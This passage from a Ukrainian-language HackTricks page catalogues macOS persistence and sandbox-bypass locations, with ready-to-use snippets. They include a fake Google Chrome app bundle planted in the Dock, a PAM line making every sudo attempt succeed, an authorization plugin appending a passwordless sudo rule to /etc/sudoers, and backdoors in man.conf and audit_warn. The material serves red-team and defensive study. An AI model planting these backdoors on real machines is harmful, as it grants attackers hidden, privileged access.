# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Колірні вибірники
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- Корисно для обходу sandbox: 🟠
- Потрібна дуже специфічна дія
- Ви опинитесь в іншому sandbox
- TCC bypass: 🔴
Розташування
/Library/ColorPickers- Потрібен root
- Тригер: Виклик вибірника кольору
~/Library/ColorPickers- Тригер: Виклик вибірника кольору
Опис & Експлойт
Скомпілюйте bundle з вибірником кольору з вашим кодом (можна використати this one for example) та додайте конструктор (як у Screen Saver section) і скопіюйте bundle до ~/Library/ColorPickers.
Тоді, коли вибірник кольору буде викликаний, ваш код також буде виконано.
Зауважте, що бінарний файл, який завантажує вашу бібліотеку, має дуже суворий sandbox: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Розбір: https://theevilbit.github.io/beyond/beyond_0026/
Розбір: https://objective-see.org/blog/blog_0x11.html
- Корисно для обходу sandbox: Ні, бо потрібно виконати власний app
- TCC bypass: ???
Розташування
- Конкретний додаток
Опис & Exploit
Приклад застосунку з Finder Sync Extension доступний тут.
Застосунки можуть мати Finder Sync Extensions. Це розширення включається в додаток, який буде виконуватися. Більше того, щоб розширення могло виконувати свій код, воно повинно бути підписане дійсним Apple developer certificate, воно має бути sandboxed (хоча можна додати пом’якшені винятки) і воно має бути зареєстровано чимось на зразок:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Екранна заставка
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
Розташування
/System/Library/Screen Savers- Потрібен root
- Trigger: Виберіть екранну заставку
/Library/Screen Savers- Потрібен root
- Trigger: Виберіть екранну заставку
~/Library/Screen Savers- Trigger: Виберіть екранну заставку
.png)
Опис & Exploit
Створіть новий проект у Xcode і виберіть шаблон для створення нового Screen Saver. Потім додайте у нього свій код, наприклад код нижче для генерації логів.
Скомпілюйте його та скопіюйте бандл .saver до ~/Library/Screen Savers. Далі відкрийте GUI Screen Saver і, якщо просто натиснете на нього, має бути згенеровано багато логів:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
Зверніть увагу, що оскільки в entitlements бінарного файлу, який завантажує цей код (
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) присутнійcom.apple.security.app-sandbox, ви будете в межах загальної пісочниці застосунку.
Код Saver:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Плагіни Spotlight
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Корисно для обходу sandbox: 🟠
- Але ви опинитесь в application sandbox
- TCC bypass: 🔴
- Sandbox виглядає дуже обмеженим
Розташування
~/Library/Spotlight/- Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
/Library/Spotlight/- Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
- Вимагається root
/System/Library/Spotlight/- Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
- Вимагається root
Some.app/Contents/Library/Spotlight/- Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
- Потрібен новий додаток
Опис та експлуатація
Spotlight — вбудована в macOS функція пошуку, призначена для забезпечення користувачам швидкого і всебічного доступу до даних на їхніх комп’ютерах.
Щоб забезпечити цю швидку пошукову можливість, Spotlight підтримує власну базу даних і створює індекс шляхом аналізу більшості файлів, що дозволяє швидко здійснювати пошук як за іменами файлів, так і за їхнім вмістом.
Під капотом Spotlight працює центральний процес під назвою ‘mds’, що означає ‘metadata server’. Цей процес координує всю службу Spotlight. Додатково працює кілька демонів ‘mdworker’, які виконують різні обслуговувальні завдання, такі як індексація різних типів файлів (ps -ef | grep mdworker). Ці завдання можливі завдяки Spotlight importer plugins, або “.mdimporter bundles”, які дозволяють Spotlight розуміти і індексувати вміст у різноманітних форматах файлів.
Плагіни або .mdimporter bundles розташовані в перерахованих вище місцях, і якщо з’являється новий bundle, він завантажується протягом хвилини (не потрібно перезапускати жодну службу). Ці bundles повинні вказувати, які типи файлів та розширення вони можуть обробляти, таким чином Spotlight використовуватиме їх, коли створюється новий файл з відповідним розширенням.
Можна знайти всі mdimporters, що завантажені, запустивши:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
І, наприклад, /Library/Spotlight/iBooksAuthor.mdimporter використовується для розбору таких файлів (розширення .iba і .book серед інших):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
Якщо ви перевірите Plist інших
mdimporter, ви можете не знайти записUTTypeConformsTo. Це тому, що це вбудований Uniform Type Identifiers (UTI) і він не потребує вказування розширень.Крім того, системні плагіни за замовчуванням завжди мають пріоритет, тому атакувальник може отримати доступ лише до файлів, які інакше не індексуються власними
mdimportersApple.
Щоб створити власний importer ви можете почати з цього проекту: https://github.com/megrimm/pd-spotlight-importer і потім змінити ім’я, CFBundleDocumentTypes та додати UTImportedTypeDeclarations, щоб він підтримував розширення, яке ви хочете підтримати, і відобразити їх у schema.xml.
Потім змініть код функції GetMetadataForFile, щоб виконувати ваш payload при створенні файлу з оброблюваним розширенням.
Нарешті зберіть і скопіюйте ваш новий .mdimporter в одне з наведених раніше місць, і ви можете перевірити, чи він завантажений, моніторячи логи або виконавши mdimport -L.
Preference Pane
Caution
Здається, це більше не працює.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Location
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Description
Здається, це більше не працює.
Root Sandbox Bypass
Tip
Тут ви знайдете стартові локації, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису цього в файл, будучи root і/або за умови інших нестандартних умов.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Location
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- Потрібен root
- Trigger: Коли настане час
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- Потрібен root
- Trigger: Коли настане час
Description & Exploitation
Періодичні скрипти (/etc/periodic) виконуються через launch daemons, налаштовані в /System/Library/LaunchDaemons/com.apple.periodic*. Зверніть увагу, що скрипти, збережені в /etc/periodic/, виконуються під власником файлу, тому це не спрацює для потенційного підвищення привілеїв.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
Існують інші періодичні скрипти, які будуть виконуватися, вказані в /etc/defaults/periodic.conf:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Якщо вам вдасться записати будь-який із файлів /etc/daily.local, /etc/weekly.local або /etc/monthly.local, він рано чи пізно буде запущений.
Warning
Зауважте, що періодичний скрипт буде запущений від імені власника скрипта. Тож якщо скрипт належить звичайному користувачу, він запуститься від імені цього користувача (це може запобігти атакам ескалації привілеїв).
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
Розташування
- Завжди потрібен root
Опис і експлуатація
Оскільки PAM більше орієнтований на persistence і malware, ніж на просте виконання в macOS, цей блог не даватиме детального пояснення, прочитайте writeups, щоб краще зрозуміти цю техніку.
Перевірте PAM modules за допомогою:
ls -l /etc/pam.d
Техніка persistence/privilege escalation, що зловживає PAM, — достатньо змінити модуль /etc/pam.d/sudo, додавши на початку такий рядок:
auth sufficient pam_permit.so
Отже це буде виглядати приблизно так:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
Отже будь-яка спроба використати sudo спрацює.
Caution
Зверніть увагу, що цей каталог захищено TCC, тому дуже ймовірно, що користувач побачить запит на доступ.
Ще один хороший приклад — su, де ви можете побачити, що також можна передавати параметри модулям PAM (і ви також можете backdoor цей файл):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Плагіни авторизації
Розбір: https://theevilbit.github.io/beyond/beyond_0028/
Розбір: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Корисно для обходу sandbox: 🟠
- Але потрібно бути root і зробити додаткові налаштування
- TCC bypass: ???
Розташування
/Library/Security/SecurityAgentPlugins/- Потрібні права root
- Також потрібно налаштувати authorization database для використання плагіна
Опис та експлуатація
Ви можете створити плагін авторизації, який виконуватиметься під час входу користувача для підтримки persistence. Для отримання додаткової інформації про те, як створити один із таких плагінів перегляньте попередні розбори (і будьте обережні: погано написаний плагін може заблокувати вам доступ, і вам доведеться очищати ваш Mac із recovery mode).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Перемістіть bundle у місце, звідки його буде завантажено:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Нарешті додайте rule для завантаження цього Plugin:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms повідомить фреймворку авторизації, що потрібно викликати зовнішній механізм для авторизації. Крім того, privileged змусить його виконуватись від імені root.
Запустіть це за допомогою:
security authorize com.asdf.asdf
А потім група staff повинна мати доступ sudo (прочитайте /etc/sudoers, щоб підтвердити).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
- Корисно для обходу sandbox: 🟠
- Але потрібно бути root, і користувач має використовувати man
- TCC bypass: 🔴
Розташування
/private/etc/man.conf- Потрібен root
/private/etc/man.conf: щоразу, коли використовується man
Опис та експлойт
Файл конфігурації /private/etc/man.conf вказує бінарний файл/скрипт, який використовується при відкритті man-сторінок документації. Тому шлях до виконуваного файлу можна змінити, і щоразу, коли користувач використовує man для читання документації, буде виконано backdoor.
Наприклад, встановіть у /private/etc/man.conf:
MANPAGER /tmp/view
А потім створіть /tmp/view як:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Розбір: https://theevilbit.github.io/beyond/beyond_0023/
- Корисно для обходу sandbox: 🟠
- Але потрібно бути root і Apache має бути запущений
- TCC bypass: 🔴
- Httpd не має entitlements
Розташування
/etc/apache2/httpd.conf- Потрібен root
- Спрацьовує: коли Apache2 запускається
Опис & Exploit
Можна вказати в /etc/apache2/httpd.conf завантаження модуля, додавши такий рядок:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Таким чином ваш скомпільований модуль буде завантажено Apache. Єдине, що вам потрібно — або підписати його дійсним сертифікатом Apple, або додати в систему новий довірений сертифікат і підписати ним.
Потім, за потреби, щоб переконатися, що сервер буде запущено, ви можете виконати:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Приклад коду для Dylb:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Розбір: https://theevilbit.github.io/beyond/beyond_0031/
- Корисно для обходу sandbox: 🟠
- Але потрібно бути root, auditd має працювати і спричинити попередження
- TCC bypass: 🔴
Розташування
/etc/security/audit_warn- Потрібен root
- Trigger: Коли auditd виявляє попередження
Опис & Exploit
Коли auditd виявляє попередження, скрипт /etc/security/audit_warn виконується. Тому ви можете додати свій payload у нього.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Ви можете викликати попередження за допомогою sudo audit -n.
Елементи автозапуску
[!CAUTION] > Це застаріло, тому в цих каталогах нічого не повинно бути.
Директорія StartupItem має знаходитися в /Library/StartupItems/ або /System/Library/StartupItems/. Після створення ця директорія має містити два конкретні файли:
- An rc script: shell-скрипт, який виконується під час запуску.
- A plist file, зокрема з назвою
StartupParameters.plist, який містить різні налаштування конфігурації.
Переконайтеся, що і rc script, і файл StartupParameters.plist правильно розміщені всередині директорії StartupItem, щоб процес запуску міг їх розпізнати та використовувати.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
Я не можу знайти цей компонент у моєму macOS, тому для додаткової інформації перегляньте writeup
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Запроваджений Apple, emond — це механізм логування, який здається недорозвиненим або можливо закинутим, але він досі доступний. Хоча він не особливо корисний для адміністратора Mac, ця маловідома служба може слугувати тонким методом персистенції для зловмисників, ймовірно непоміченим більшістю адміністраторів macOS.
Для тих, хто знає про її існування, виявити будь-яке зловмисне використання emond досить просто. LaunchDaemon системи для цієї служби шукає скрипти для виконання в одному каталозі. Щоб перевірити це, можна використати наступну команду:
ls -l /private/var/db/emondClients
XQuartz
Опис: https://theevilbit.github.io/beyond/beyond_0018/
Розташування
/opt/X11/etc/X11/xinit/privileged_startx.d- Потрібен root
- Тригер: з XQuartz
Опис & Exploit
XQuartz більше не встановлюється в macOS, тож якщо потрібна додаткова інформація — див. writeup.
kext
Caution
Встановити kext навіть з правами root настільки складно, що я не розглядаю це як спосіб виходу зі sandboxes або навіть для persistence (якщо тільки у вас немає exploit)
Розташування
Щоб встановити KEXT як елемент автозавантаження, він має бути встановлений в одному з наступних місць:
/System/Library/Extensions- Файли KEXT, вбудовані в операційну систему OS X.
/Library/Extensions- Файли KEXT, встановлені стороннім програмним забезпеченням
Ви можете перерахувати наразі завантажені файли kext за допомогою:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
Для додаткової інформації про kernel extensions див. цей розділ.
amstoold
Доклад: https://theevilbit.github.io/beyond/beyond_0029/
Location
/usr/local/bin/amstoold- Потрібні права root
Опис та експлуатація
Схоже, plist з /System/Library/LaunchAgents/com.apple.amstoold.plist використовував цей бінарний файл, одночасно експонуючи XPC service… справа в тому, що бінарник не існував, тож ви могли помістити щось на це місце, і коли XPC service викликається — ваш бінарник буде виконано.
Я більше не можу знайти це у своєму macOS.
xsanctl
Доклад: https://theevilbit.github.io/beyond/beyond_0015/
Location
/Library/Preferences/Xsan/.xsanrc- Потрібні права root
- Trigger: Коли сервіс запускається (рідко)
Опис та експлуатація
Схоже, цей скрипт рідко запускають, і я навіть не зміг знайти його у своєму macOS, тож якщо потрібна додаткова інформація — див. доклад.
/etc/rc.common
[!CAUTION] > Це не працює в сучасних версіях macOS
Також тут можливо розмістити команди, які будуть виконані при запуску системи. Приклад звичайного скрипту rc.common:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Persistence техніки та інструменти
Джерела
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


